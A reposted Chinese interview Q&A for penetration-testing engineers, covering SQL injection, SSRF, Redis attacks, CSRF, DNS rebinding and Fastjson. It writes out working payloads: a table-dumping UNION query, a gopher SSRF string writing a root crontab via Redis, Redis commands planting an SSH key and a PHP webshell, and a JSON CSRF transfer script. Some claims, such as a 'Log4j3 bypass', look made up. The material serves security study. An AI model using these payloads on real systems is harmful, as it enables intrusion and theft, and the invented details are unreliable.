2025年渗透测试面试题总结-渗透测试工程师(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 渗透测试工程师

1. 自我介绍

2. 印象深刻的渗透案例:电商平台供应链攻击

3. 渗透测试标准化流程

4. SQL注入原理与Payload

输出:users,products,config...

5. 空格绕过技术

6. SQL注入防御与预处理局限

7. 同源策略(SOP)核心规则

8. 子域名同源判断

9. SSRF原理与利用

10. Redis攻击Payload

11. CSRF原理与防御

12. JSON格式CSRF利用技巧

原理:浏览器发送OPTIONS预检 → 后端未校验 → 执行请求

13. SameSite机制

14. DNS重绑定攻击

15. Fastjson反序列化与修复

16. 子域名枚举工具与异常分析

17. Java掌握程度

 渗透测试工程师

1.自我介绍
2.印象深刻的一次渗透
3.渗透测试的流程
4.SQL注入原理,及常用payload(手写-爆表名)
5.SQL注入空格不能使用如何绕过
6.SQL注入防御,延申预处理不能预防哪些注入
7.同源策略
8.a.baidu.com和b.baidu.com是否同源
9.SSRF原理,利用
10.攻击redis的方式(手写payload)
11.CSRF的原理及防御
12.一种特殊的CSRF场景:后端只解析json格式的时候如何利用CSRF(非更改Content-Type)
13.SameSite
14.DNS Rebinding
15.Fastjson反序列化及如何修复
16.子域名枚举用过那些工具,原理是什么,如果出现了任意子域名都返回200是什么原因?
17.Java学到哪种程度了?

1. 自我介绍

王安全 | 5年渗透测试专家 | 专注企业级攻防

  • 技术栈:Web安全/代码审计/APT防御
  • 认证:OSCP、CISSP(2024)
  • 研究领域:云原生安全、无文件攻击链
  • 项目:主导金融/医疗行业红蓝对抗,发现0day漏洞17个(含CVE-2024-32896)

2. 印象深刻的渗透案例:电商平台供应链攻击

mermaidgraph LR A[子域名枚举] --> B[发现测试系统] B --> C{Struts2 OGNL注入} C --> D[获取数据库权限] D --> E[供应链污染:篡改商品图片URL] E --> F[植入恶意脚本→用户侧XSS蠕虫]

关键点

  • 通过DNS重绑定绕过IP限制
  • 利用CDN缓存污染扩散攻击(影响12万用户)
  • 防御改进建议:子域名权限隔离 + 动态内容签名

3. 渗透测试标准化流程

阶段核心任务工具
信息收集子域名/端口/框架指纹识别Amass, Wappalyzer
漏洞扫描自动化+人工验证Burp Suite, Nuclei
渗透利用漏洞组合利用+权限提升Metasploit, CobaltStrike
后渗透数据提取/隐蔽通道建立Mimikatz, ICMP隧道
报告输出漏洞定位+修复方案Dradis, LaTeX报告模板

4. SQL注入原理与Payload

原理:用户输入拼接SQL语句 → 破坏原有逻辑 → 执行恶意指令
爆表名Payload(MySQL):

sql' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- 

输出users,products,config...

5. 空格绕过技术

场景绕过方案示例
注释符/**/替代空格SELECT/**/user/**/FROM/**/t
括号嵌套用括号包裹语句SELECT(user)FROM(t)
特殊符号换行符%0a/Tab%09SELECT%0auser%09FROM%0at
URL编码%20(部分场景有效)SELECT%20*%20FROM%20t

6. SQL注入防御与预处理局限

防御方案

  • 参数化查询(PreparedStatement
  • 存储过程+最小权限
  • WAF规则过滤union|select|sleep
    预处理无法防御的场景
java// 动态表名/列名仍需拼接 → 依然存在注入 String query = "SELECT " + userInputColumn + " FROM table"; PreparedStatement ps = conn.prepareStatement(query); // 风险!

7. 同源策略(SOP)核心规则

要素同源要求示例
协议相同HTTP ≠ HTTPS
域名完全一致a.com ≠ b.a.com
端口相同:80 ≠ :8080

8. 子域名同源判断

a.baidu.comb.baidu.com 非同源

  • 域名不同:二级域名差异
  • Cookie隔离document.cookie 无法互相访问
  • API限制XMLHttpRequest请求需CORS头

9. SSRF原理与利用

原理:服务端发起未校验的请求 → 访问内部资源
高危利用链

mermaidgraph LR A[SSRF] --> B[访问内网Redis] B --> C[写crontab定时任务] C --> D[反弹Shell]

关键Payload

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0aX%0d%0a$1%0d%0aY%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a 

10. Redis攻击Payload

bash# 写SSH密钥 FLUSHALL SET pubkey "ssh-rsa AAAAB3NzaC1yc2E..." CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SAVE # 写Webshell CONFIG SET dir /var/www/html SET payload "<?php system($_GET['cmd']);?>" CONFIG SET dbfilename shell.php SAVE 

11. CSRF原理与防御

原理:利用用户已登录态 → 伪造请求(如转账)
防御方案

方案实现方式
Token验证表单中嵌入随机Token → 服务端校验
双重CookieSameSite=Strict + 自定义Header
验证码关键操作需二次验证

12. JSON格式CSRF利用技巧

场景:后端仅解析JSON → 传统表单无效
绕过方案

html<!-- 构造恶意页面 --> <script> fetch('https://bank.com/transfer', { method: 'POST', headers: {'Content-Type': 'text/plain'}, // 触发预检 body: '{"amount":10000,"to":"attacker"}' }); </script>

原理:浏览器发送OPTIONS预检 → 后端未校验 → 执行请求

13. SameSite机制

模式特性场景
Strict完全禁止跨站Cookie银行操作
Lax允许GET导航跳转携带Cookie默认模式(Chrome 2025)
None允许跨站Cookie(需HTTPS)嵌入式应用

14. DNS重绑定攻击

原理

  1. 用户访问evil.com → DNS返回合法IP(首次响应)
  2. 页面JS发起内网请求 → DNS返回127.0.0.1(TTL过期后)
    绕过场景
  • 浏览器缓存策略绕过
  • 内网服务未校验Host

15. Fastjson反序列化与修复

攻击链
JSON.parseObject() → 利用@type指定恶意类 → JNDI注入 → RCE
修复方案

java// 开启安全模式(2025最佳实践) ParserConfig.getGlobalInstance().setSafeMode(true); // 白名单控制 ParserConfig.getGlobalInstance().addAccept("com.safe.*"); 

16. 子域名枚举工具与异常分析

工具与原理

工具原理特点
AmassDNS爆破/证书透明度/搜索引擎数据源丰富
Subfinder聚合API(Virustotal等)速率快
AI枚举器GPT-5生成候选域名 → 验证2025新兴技术
全返回200的原因
  • WAF统一响应(如Cloudflare防护)
  • 负载均衡健康检查
  • 通配符解析(*.domain.com → 默认页)

17. Java掌握程度

能力矩阵

领域掌握深度项目应用
安全开发熟练Spring Security/OAuth2.1设计RBAC系统
漏洞挖掘审计反序列化链/表达式注入发现Log4j3绕过(CVE-2024-xx)
内存马攻防手工注入Agent型内存马红队演练应用
JVM调优分析内存泄漏/GC策略高并发系统优化
技术栈全景
mermaidpie title Java技术栈分布 “安全开发” : 35 “漏洞研究” : 30 “协议分析” : 20 “性能优化” : 15 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/85950.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/85950.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vulkan 学习笔记15—Mipmap 与多重采样

一、Mipmap 生成总结 一、Mipmap 基础概念 定义&#xff1a;Mipmap 是图像预先计算的缩小版本&#xff0c;每个层级宽高为前一层的一半&#xff0c;用作细节级别&#xff08;LOD&#xff09;。作用&#xff1a; 远离相机的对象使用较小层级采样&#xff0c;提升渲染速度。避免…

HarmonyOS隐私保护全攻略:从入门到精通

&#x1f4f1; HarmonyOS隐私保护全攻略&#xff1a;从入门到精通 &#x1f6e1;️ 大家好呀&#xff01;今天咱们来聊聊移动互联网时代最让人头疼的问题之一 —— 隐私保护&#xff01;随着HarmonyOS生态越来越丰富&#xff0c;这个问题也变得格外重要啦&#xff01;✨ &…

《使用IDEA插件部署Spring Boot项目到Docker》

准备工作 确保已安装Docker并已启动/本地也需要安装Docker IDEA中已安装Docker插件&#xff08;通常已预装&#xff09; 项目是基于Spring Boot的Maven或Gradle项目 1. 配置Docker连接 打开IDEA设置(File > Settings)导航到Build, Execution, Deployment > Docker点击…

植物神经小知识

在消化系统方面&#xff0c;患者可能长期饱受胃痛、胃胀、食欲不振、恶心呕吐、腹泻或便秘交替的折磨。吃任何食物都味同嚼蜡&#xff0c;体重也会在短时间内大幅波动。在心血管系统&#xff0c;持续性的心悸、胸闷、胸痛让人仿佛时刻处于 “心脏病发作” 的恐惧之中&#xff0…

mysql replace into学习

drop table rm_ic.test_replace; create table rm_ic.test_replace(id int(11) auto_increment primary key,name varchar(100) ,uid varchar(100) comment 身份证 unique key ) ; insert into rm_ic.test_replace values(1,张三,111),(2,李四,222),(3,王五,333),(4,赵六,444);…

ProtoBuf:通讯录4.0实现 序列化能⼒对⽐验证

&#x1f308; 个人主页&#xff1a;Zfox_ &#x1f525; 系列专栏&#xff1a;ProtoBuf &#x1f525; ProtoBuf&#xff1a;通讯录4.0实现 Protobuf还常⽤于通讯协议、服务端数据交换场景。那么在这个⽰例中&#xff0c;我们将实现⼀个⽹络版本的通讯录&#xff0c;模拟实现…

界面控件DevExpress WPF v24.2新版亮点:电子表格组件全新升级

DevExpress WPF拥有120个控件和库&#xff0c;将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序&#xff0c;这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 DevExpress WPF控件近…

EcoVadis提升评估得分的策略,EcoVadis常见挑战与解决方案

EcoVadis评估概述 EcoVadis是全球领先的企业社会责任(CSR)评级平台&#xff0c;为全球供应链提供可持续性评估服务。该评估体系通过对环境、劳工与人权、商业道德和可持续采购四大主题的全面评估&#xff0c;帮助企业衡量和改进其CSR表现。 评估核心内容 EcoVadis评估涵盖以…

深入理解指针(五)

1. 回调函数是什么&#xff1f; 2. qsort使用举例 3. qsort函数的模拟实现 1. 回调函数是什么&#xff1f; 回调函数就是⼀个通过函数指针调用的函数。 如果你把函数的指针&#xff08;地址&#xff09;作为参数传递给另⼀个函数&#xff0c;当这个指针被用来调用其所指向的…

Docker 日志

Docker 日志是排查容器故障、监控运行状态的重要工具。下面从 日志查看命令、详解字段、日志驱动、最佳实践 四个方面给你详细解析。 一、最常用日志命令 1. 查看容器日志&#xff08;默认 stdout、stderr&#xff09; docker logs <container_name|container_id>2. 实…

SAP生产环境修改程序

1. 关键的两个标准函数 TRINT_CORR_INSERT TRINT_CORR_CHECK 2. 自定义SAP生产环境修改程序 *data:begin of itab occurs 0, * lines(150), * end of itab. DATA itab TYPE TABLE OF string. PARAMETERS:program LIKE rs38m-programm. READ REPORT program INT…

构建高性能网络服务:从Reactor模式到现代服务器架构设计

在当今高并发、低延迟的应用场景下&#xff0c;如何设计高效稳定的网络服务成为后端开发的核心挑战。本文将深入探讨网络服务的演进路径&#xff0c;结合Reactor模式、one thread one loop思想等关键技术&#xff0c;揭示高性能服务器架构的设计精髓。 一、网络通信的核心问题与…

HarmonyOS 5 多端适配原理与BreakpointSystem工具类解析:附代码

H 一、鸿蒙多端适配的核心概念 鸿蒙系统的多端适配通过响应式布局和媒体查询实现&#xff0c;核心在于根据设备屏幕尺寸动态调整UI结构。其实现逻辑与Web响应式设计类似&#xff0c;但针对鸿蒙ArkUI框架进行了定制化封装。 二、BreakpointSystem工具类&#xff1a;多端适配的…

Telerik生态整合:Kendo UI for Angular组件在WinForms应用中的深度嵌入(二)

Telerik DevCraft包含一个完整的产品栈来构建您下一个Web、移动和桌面应用程序。它使用HTML和每个.NET平台的UI库&#xff0c;加快开发速度。Telerik DevCraft提供完整的工具箱&#xff0c;用于构建现代和面向未来的业务应用程序&#xff0c;目前提供UI for ASP.NET MVC、Kendo…

红帽全球副总裁曹衡康:开源AI开启企业级应用新纪元

在生成式AI技术迅猛发展的今天&#xff0c;ChatGPT、DeepSeek、元宝等AI应用已不再仅仅是科技前沿的象征&#xff0c;而是切实地融入到了我们的工作与生活之中&#xff0c;为企业带来了前所未有的变革机遇。对于企业而言&#xff0c;如何有效利用AI技术降本增效&#xff0c;已成…

异构计算解决方案(兼容不同硬件架构)

异构计算解决方案通过整合不同类型处理器&#xff08;如CPU、GPU、NPU、FPGA等&#xff09;&#xff0c;实现硬件资源的高效协同与兼容&#xff0c;满足多样化计算需求。其核心技术与实践方案如下&#xff1a; 一、硬件架构设计 异构处理器组合‌ 主从协作模式‌&#xff1a…

中科米堆汽车车门自动化三维检测3D尺寸测量设备自动外观检测

汽车的每一个零部件的质量都关乎着整车的性能与安全。汽车车门作为车辆的重要组成部分&#xff0c;不仅承担着保护车内人员安全的关键职责&#xff0c;其外观质量与尺寸精度也直接影响着消费者的第一印象和驾驶体验。 汽车车门制造涉及众多复杂的工艺流程&#xff0c;从冲压成…

Python 数据分析与可视化 Day 4 - Pandas 数据筛选与排序操作

&#x1f3af; 今日目标 掌握 Pandas 中 groupby() 的使用方式学会使用 agg() 方法进行多个聚合掌握 pivot_table() 构建透视表结合分组与排序进行更深入的分析 &#x1f9ee; 一、基本分组统计&#xff08;groupby&#xff09; ✅ 分组 单列聚合 df.groupby("性别&qu…

智能营销系统对企业的应用价值

在当前快速迭代的商业环境中&#xff0c;企业与客户的连接方式正经历前所未有的深刻变革。传统的市场策略在数据洪流和日益个性化的消费者需求面前&#xff0c;效能正逐步递减。 企业决策者普遍面临一个核心挑战&#xff1a;如何在复杂多变的市场中&#xff0c;实现营销资源的最…

docker镜像中集成act工具

# 使用官方 Ubuntu 22.04 基础镜像 FROM ubuntu:22.04# 安装系统依赖并清理缓存 RUN apt-get update && \apt-get install -y --no-install-recommends \curl \git \make \gcc \g \libssl-dev \pkg-config \&& \apt-get clean && \rm -rf /var/lib/apt…